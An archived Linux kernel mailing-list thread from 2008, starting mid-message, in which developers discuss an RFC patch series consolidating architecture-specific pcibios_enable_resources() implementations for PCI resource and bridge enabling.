nothing to do with a "BIOS" in any shape or form :-) I know we used to
call those things pcibios_* but that's really historical...

If you want to make clear it's for "utilities" that can be overriden
by the arch, maybe call it utils.c, or just stick the function in
pci.c, or setup-res.c

Ben.



From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 4/4] RFC: PCI: consolidate several
	pcibios_enable_resources() implementations
Date: Tue, 19 Feb 2008 02:03:25 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20080219070325.GB10115@phobos.i.cabal.ca>
References: <20080219043952.845136014@ldl.fc.hp.com> <20080219044307.878416912@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1203404616 3049 80.91.229.12 (19 Feb 2008 07:03:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 07:03:36 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 08:03:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRMWE-0006gn-4j
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 08:03:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754056AbYBSHD0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 02:03:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754249AbYBSHD0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 02:03:26 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:27219 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754056AbYBSHDZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 02:03:25 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 0A3D7178090; Tue, 19 Feb 2008 02:03:25 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20080219044307.878416912@ldl.fc.hp.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:127 gmane.linux.ports.arm.kernel:38615 gmane.linux.ports.ppc64.devel:35995
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/127>

On Mon, Feb 18, 2008 at 09:39:56PM -0700, Bjorn Helgaas wrote:
>     parisc: checks DEVICE_COUNT_RESOURCE (12) instead of PCI_NUM_RESOURCES
>	(11) resources at (1),
>

Good catch.

> has no IORESOURCE_{IO,MEM} check at (3),

What else can it be?

> 	has no PCI_ROM_RESOURCE check at (4), has no collision check at (5)
> 	always turns on PCI_COMMAND_SERR | PCI_COMMAND_PARITY at (6),
> 	writes cmd even if unchanged at (7)
> 

I'll have to check into 4 & 5, there might be a good reason for it. For
instance on a four port HP ethernet card (pci-pci bridge + 4 tulips) all
4 of the rom resources are mapped to the same address, which afaict, is
allowed but breaks things in mysterious and subtle ways.

That said, the parisc pci code is a rats nest...

cheers, Kyle

From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk-pci@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 0/4] RFC: PCI: consolidate several pcibios_enable_resources() implementations
Date: Tue, 19 Feb 2008 08:09:47 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20080219080947.GB20893@flint.arm.linux.org.uk>
References: <20080219043952.845136014@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1203409217 15575 80.91.229.12 (19 Feb 2008 08:20:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 08:20:17 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 09:20:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRNiR-0007Px-C2
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 09:20:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751256AbYBSITz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 03:19:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750924AbYBSITz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 03:19:55 -0500
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:41668 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750807AbYBSITy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 03:19:54 -0500
Original-Received: from flint.arm.linux.org.uk ([2002:4e20:1eda:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.62)
	(envelope-from <rmk@arm.linux.org.uk>)
	id 1JRNXy-0003Qm-KU; Tue, 19 Feb 2008 08:09:51 +0000
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.62)
	(envelope-from <rmk@flint.arm.linux.org.uk>)
	id 1JRNXw-0005j9-B1; Tue, 19 Feb 2008 08:09:48 +0000
Mail-Followup-To: Bjorn Helgaas <bjorn.helgaas@hp.com>,
	linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
Content-Disposition: inline
In-Reply-To: <20080219043952.845136014@ldl.fc.hp.com>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:128 gmane.linux.ports.arm.kernel:38620 gmane.linux.ports.ppc64.devel:35998
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/128>

On Mon, Feb 18, 2008 at 09:39:52PM -0700, Bjorn Helgaas wrote:
> There are many implementations of pcibios_enable_resources() that differ
> in minor ways that look more like bugs than architectural differences.
> This patch series consolidates most of them to use the x86 version.
> 
> This series is for discussion only at this point.  I'm interested in
> feedback about whether any of the differences are "real" and need to
> be preserved.
> 
> ARM and PA-RISC, in particular, have interesting differences:
>     - ARM always enables bridge devices, which no other arch does

ARM does this because there is nothing else which would do that - which
means devices behind bridges would be completely inaccessible.

>     - PA-RISC always turns on SERR and PARITY, which no other arch does

ARM also does this, unless pdev_bad_for_parity(dev) is true.  See
ARMs pcibios_fixup_bus().

> Should other arches do the same thing, or are these somehow related to
> ARM and PA-RISC architecture?

I suspect they're architecture specific; I wouldn't like to do either
on x86, but they're either required or preferred on ARM.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:

From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 0/4] RFC: PCI: consolidate several
	pcibios_enable_resources() implementations
Date: Tue, 19 Feb 2008 21:08:32 +1100
Lines: 41
Approved: news@gmane.org
Message-ID: <1203415712.6740.102.camel@pasglop>
References: <20080219043952.845136014@ldl.fc.hp.com>
	 <20080219080947.GB20893@flint.arm.linux.org.uk>
Reply-To: benh@kernel.crashing.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1203415794 4745 80.91.229.12 (19 Feb 2008 10:09:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 10:09:54 +0000 (UTC)
Cc: Bjorn Helgaas <bjorn.helgaas@hp.com>,
	linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Russell King <rmk-pci@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 11:10:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRPQV-0007xO-1A
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 11:10:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752464AbYBSKJn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 05:09:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752592AbYBSKJn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 05:09:43 -0500
Original-Received: from gate.crashing.org ([63.228.1.57]:50234 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752464AbYBSKJm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 05:09:42 -0500
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id m1JA8lp3029104;
	Tue, 19 Feb 2008 04:08:48 -0600
In-Reply-To: <20080219080947.GB20893@flint.arm.linux.org.uk>
X-Mailer: Evolution 2.12.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:129 gmane.linux.ports.arm.kernel:38624 gmane.linux.ports.ppc64.devel:36012
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/129>


On Tue, 2008-02-19 at 08:09 +0000, Russell King wrote:
> On Mon, Feb 18, 2008 at 09:39:52PM -0700, Bjorn Helgaas wrote:
> > There are many implementations of pcibios_enable_resources() that differ
> > in minor ways that look more like bugs than architectural differences.
> > This patch series consolidates most of them to use the x86 version.
> > 
> > This series is for discussion only at this point.  I'm interested in
> > feedback about whether any of the differences are "real" and need to
> > be preserved.
> > 
> > ARM and PA-RISC, in particular, have interesting differences:
> >     - ARM always enables bridge devices, which no other arch does
> 
> ARM does this because there is nothing else which would do that - which
> means devices behind bridges would be completely inaccessible.

That's normally done by pci_enable_bridges() called by
pci_assign_unassigned_resources(). (The later has a weird naming, it
does more than just assign unassigned resources in fact).

> >     - PA-RISC always turns on SERR and PARITY, which no other arch does
> 
> ARM also does this, unless pdev_bad_for_parity(dev) is true.  See
> ARMs pcibios_fixup_bus().

While that sounds like a good idea to generalize, I think it should
remain arch stuff tho, not move to generic code.

On some platforms, weirdo firmwares handle error handling and will be
unhappy if the kernel mucks around (such as pSeries).

> > Should other arches do the same thing, or are these somehow related to
> > ARM and PA-RISC architecture?
> 
> I suspect they're architecture specific; I wouldn't like to do either
> on x86, but they're either required or preferred on ARM.

Ben.



From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 4/4] RFC: PCI: consolidate several pcibios_enable_resources() implementations
Date: Tue, 19 Feb 2008 09:11:55 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <200802190911.56901.bjorn.helgaas@hp.com>
References: <20080219043952.845136014@ldl.fc.hp.com> <20080219044307.878416912@ldl.fc.hp.com> <1203402667.6740.94.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1203437410 21831 80.91.229.12 (19 Feb 2008 16:10:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 16:10:10 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: benh@kernel.crashing.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 17:10:33 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRV35-0001ex-Iz
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 17:10:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751574AbYBSQJ4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 11:09:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752262AbYBSQJ4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 11:09:56 -0500
Original-Received: from g5t0006.atlanta.hp.com ([15.192.0.43]:25088 "EHLO
	g5t0006.atlanta.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751574AbYBSQJy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 11:09:54 -0500
Original-Received: from g5t0006.atlanta.hp.com (localhost.localdomain [127.0.0.1])
	by receive-from-antispam-filter (Postfix) with SMTP id 4E13CC7B1;
	Tue, 19 Feb 2008 16:09:54 +0000 (UTC)
Original-Received: from smtp2.fc.hp.com (smtp.cnd.hp.com [15.11.136.114])
	by g5t0006.atlanta.hp.com (Postfix) with ESMTP id 98C91C816;
	Tue, 19 Feb 2008 16:09:53 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 3A320250466;
	Tue, 19 Feb 2008 16:09:53 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 1E49C134008;
	Tue, 19 Feb 2008 09:09:53 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id lV7-cWbJm+ZU; Tue, 19 Feb 2008 09:09:51 -0700 (MST)
Original-Received: from tigger.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id C7358134006;
	Tue, 19 Feb 2008 09:09:51 -0700 (MST)
User-Agent: KMail/1.9.6 (enterprise 0.20070907.709405)
In-Reply-To: <1203402667.6740.94.camel@pasglop>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:130 gmane.linux.ports.arm.kernel:38635 gmane.linux.ports.ppc64.devel:36031
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/130>

On Monday 18 February 2008 11:31:07 pm Benjamin Herrenschmidt wrote:
> 
> On Mon, 2008-02-18 at 21:39 -0700, Bjorn Helgaas wrote:
> >     powerpc: has a different collision check at (5)
> 
> I've always found the collision check dodgy. I tend to want to keep
> the way powerpc does it here.
> 
> pci_enable_device() should only enable resources that have successfully
> been added to the resource tree (that have passed all the collision
> check etc...). There is a simple & clear indication of that: res->parent
> is non-NULL. I think that is a better check than the test x86 does on
> start and end.
> 
> That is, whatever the arch code decides to use to decide whether
> resources are assigned by firmware or by the first pass assignment code
> or not and collide or not, once that phase is finished (which is the
> case when calling pcibios_enable_device(), having the resource in the
> resource-tree or not is, I believe, the proper way to test whether it's
> a useable resource.

So should x86 adopt that collision check?  I don't hear anything about
actual architecture differences that are behind this implementation
difference.

Bjorn

From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 4/4] RFC: PCI: consolidate several
	pcibios_enable_resources() implementations
Date: Tue, 19 Feb 2008 20:08:15 +0300
Lines: 19
Approved: news@gmane.org
Message-ID: <20080219170814.GA8288@jurassic.park.msu.ru>
References: <20080219043952.845136014@ldl.fc.hp.com> <20080219044307.878416912@ldl.fc.hp.com> <1203402667.6740.94.camel@pasglop> <200802190911.56901.bjorn.helgaas@hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1203442326 9220 80.91.229.12 (19 Feb 2008 17:32:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 17:32:06 +0000 (UTC)
Cc: benh@kernel.crashing.org, linux-pci@atrey.karlin.mff.cuni.cz,
	linux-arch@vger.kernel.org, Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 18:32:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRWKN-0001ra-Mu
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 18:32:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753833AbYBSRbw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 12:31:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753947AbYBSRbw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 12:31:52 -0500
Original-Received: from jurassic.park.msu.ru ([195.208.223.243]:55884 "EHLO
	jurassic.park.msu.ru" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753833AbYBSRbv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 12:31:51 -0500
X-Greylist: delayed 1420 seconds by postgrey-1.27 at vger.kernel.org; Tue, 19 Feb 2008 12:31:51 EST
Original-Received: by jurassic.park.msu.ru (Postfix, from userid 500)
	id 2E55D11E7BA; Tue, 19 Feb 2008 20:08:15 +0300 (MSK)
Content-Disposition: inline
In-Reply-To: <200802190911.56901.bjorn.helgaas@hp.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:131 gmane.linux.ports.arm.kernel:38639 gmane.linux.ports.ppc64.devel:36037
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/131>

On Tue, Feb 19, 2008 at 09:11:55AM -0700, Bjorn Helgaas wrote:
> > That is, whatever the arch code decides to use to decide whether
> > resources are assigned by firmware or by the first pass assignment code
> > or not and collide or not, once that phase is finished (which is the
> > case when calling pcibios_enable_device(), having the resource in the
> > resource-tree or not is, I believe, the proper way to test whether it's
> > a useable resource.
> 
> So should x86 adopt that collision check?

Yes, and other arches as well, I believe.

> I don't hear anything about
> actual architecture differences that are behind this implementation
> difference.

On ppc64 "0" can be a valid value for resource start, as far as I know.

Ivan.

From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 0/4] RFC: PCI: consolidate several pcibios_enable_resources() implementations
Date: Tue, 19 Feb 2008 11:02:12 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <200802191102.13777.bjorn.helgaas@hp.com>
References: <20080219043952.845136014@ldl.fc.hp.com> <20080219080947.GB20893@flint.arm.linux.org.uk> <1203415712.6740.102.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1203444056 15908 80.91.229.12 (19 Feb 2008 18:00:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2008 18:00:56 +0000 (UTC)
Cc: Russell King <rmk-pci@arm.linux.org.uk>,
	linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>
To: benh@kernel.crashing.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 19:01:19 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JRWm7-0004Fk-N8
	for glpp-linux-parisc@gmane.org; Tue, 19 Feb 2008 19:01:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758244AbYBSSAR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2008 13:00:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758615AbYBSSAR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Feb 2008 13:00:17 -0500
Original-Received: from g1t0028.austin.hp.com ([15.216.28.35]:36584 "EHLO
	g1t0028.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758042AbYBSSAO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2008 13:00:14 -0500
Original-Received: from g1t0028.austin.hp.com (localhost.localdomain [127.0.0.1])
	by receive-from-antispam-filter (Postfix) with SMTP id 8FD531C938;
	Tue, 19 Feb 2008 18:00:11 +0000 (UTC)
Original-Received: from smtp2.fc.hp.com (smtp2.fc.hp.com [15.11.136.114])
	by g1t0028.austin.hp.com (Postfix) with ESMTP id 45C0C1C861;
	Tue, 19 Feb 2008 18:00:09 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 962E425046E;
	Tue, 19 Feb 2008 18:00:09 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 77EFA134008;
	Tue, 19 Feb 2008 11:00:09 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id trIAkYXXU9rK; Tue, 19 Feb 2008 11:00:08 -0700 (MST)
Original-Received: from tigger.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 26E77134006;
	Tue, 19 Feb 2008 11:00:08 -0700 (MST)
User-Agent: KMail/1.9.6 (enterprise 0.20070907.709405)
In-Reply-To: <1203415712.6740.102.camel@pasglop>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:132 gmane.linux.ports.arm.kernel:38640 gmane.linux.ports.ppc64.devel:36038
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/132>

On Tuesday 19 February 2008 03:08:32 am Benjamin Herrenschmidt wrote:
> On Tue, 2008-02-19 at 08:09 +0000, Russell King wrote:
> > On Mon, Feb 18, 2008 at 09:39:52PM -0700, Bjorn Helgaas wrote:
> > > 
> > > ARM and PA-RISC, in particular, have interesting differences:
> > >     - ARM always enables bridge devices, which no other arch does
> > 
> > ARM does this because there is nothing else which would do that - which
> > means devices behind bridges would be completely inaccessible.
> 
> That's normally done by pci_enable_bridges() called by
> pci_assign_unassigned_resources().

alpha, mips, mn10300, powerpc, and x86 use pci_enable_bridges() via
pci_assign_unassigned_resources().  parisc uses pci_enable_bridges()
directly from lba_driver_probe().  I guess the other arches (except
arm) rely on firmware to enable bridge.

I think pci_assign_unassigned_resources() is a bit of an anachronism --
it's a boot-time thing that does it for all root buses at once.  A
more hot-plug oriented scheme would do it like parisc, where every
time we discover a root bridge, we do any necessary resource assignment
and bridge enablement underneath it.

For ARM, maybe that could happen in pcibios_init_hw() or something
similar.

> > >     - PA-RISC always turns on SERR and PARITY, which no other arch does
> > 
> > ARM also does this, unless pdev_bad_for_parity(dev) is true.  See
> > ARMs pcibios_fixup_bus().
> 
> While that sounds like a good idea to generalize, I think it should
> remain arch stuff tho, not move to generic code.
> 
> On some platforms, weirdo firmwares handle error handling and will be
> unhappy if the kernel mucks around (such as pSeries).

I agree the SERR and PARITY stuff probably needs to remain arch code.
But it would be nice to at least have this and the bridge enable done in
similar places across arches.

Bjorn


From - Thu Nov 08 21:01:59 2018
X-Mozilla-Status: 0011
